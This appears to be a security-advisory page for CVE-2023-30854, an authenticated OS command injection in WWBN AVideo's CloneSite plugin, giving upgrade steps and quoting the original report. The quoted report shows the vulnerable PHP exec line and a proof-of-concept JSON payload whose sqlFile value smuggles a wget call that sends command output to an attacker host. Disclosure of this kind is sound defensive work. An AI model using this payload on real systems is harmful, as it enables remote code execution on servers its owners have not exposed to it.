How to Fix CVE-2023-30854

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: 12.4 
Upgrade wwbn/avideo to 12.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-30854, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# WWBN Avideo Authenticated RCE - OS Command Injection ## Description An OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution. Vulnerable code: ```php $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val); ``` We can control `$objClone->cloneSiteURL` through the admin panel clone site feature. `/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a specially crafted `cloneServer.json.php` that prints the following JSON data ```JSON {"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]} ``` Send a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved. ![rce](https://i.ibb.co/h14gQtn/rce.png)
